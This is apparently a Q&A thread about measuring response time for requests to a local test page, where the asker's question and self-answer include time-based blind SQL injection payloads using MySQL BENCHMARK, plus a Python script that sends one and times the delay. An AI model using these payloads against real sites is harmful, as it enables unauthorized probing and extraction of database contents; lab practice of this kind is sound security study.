-1

How can i know the time needed for this URL to be loaded ?

$tmp="127.0.0.1:8081/SQLi/cible.php?id=sam";

$url=$tmp.urlencode("\"-BENCHMARK(1000000000, rand()) -- -");

Thanks

(BENCHMARK function will call 1000000000 times the function rand() => it's just here to create a delay when uploading the webpage)...

aurel_lab
  • 149
  • 11
  • Why not just look at the network tab in the Chrome or Firefox debugger ? There are lots of info there. Is this what you are searching for ? – Mat Feb 18 '16 at 18:34
  • Sorry, i did not said that i need to retrieve this data in a php script... – aurel_lab Feb 18 '16 at 18:35

4 Answers4

0

I'm not sure to understand your question but I would go for curl, like:

curl -o /dev/null -s -w %{time_total}\\n  http://www.whatever.biz
0

You can compute the time needed for a task with a simple script

$a = microtime(true);

file_get_contents($url);

$b = microtime(true);
$time = $b - $a; // seconds
Mat
  • 2,134
  • 1
  • 18
  • 21
  • The solution proposed by Mat doesn't work with mykind of URL (using BENCHMARK), indeed, whatever time you put as a 1st argument of BENCHMARK the value of $time will always be small. – aurel_lab Feb 18 '16 at 18:44
  • I don't know what `BENCHMARK` does with your url. You did not mention that. What exactly "does not work" actually ? Having a small time does not seem to be an issue to me... Please explain `BENCHMARK` by editing your question. – Mat Feb 18 '16 at 18:49
0

You could check the time passed with milli seconds.

//get millis now
//load page
//get millis again
//time = millis now - millis start

How to get current time in milliseconds in PHP?

Community
  • 1
  • 1
Nicensin
  • 943
  • 1
  • 6
  • 15
0

Okay, i couldn't find any solution in Php but here is how i did it in python:

import requests
import time

    string = 'admin" and BENCHMARK(100000000, rand()) -- -'

    a=time.time()

    r = requests.post('http://127.0.0.1:8081/SQLi/cible.php',   data =  {'val':string})

    b=time.time()

    c=b-a

This time the value of "c" WILL change if you change the 1st argument of BENCHMARK.

p.s: 'val' is the parameter you want to pass in your POST request

aurel_lab
  • 149
  • 11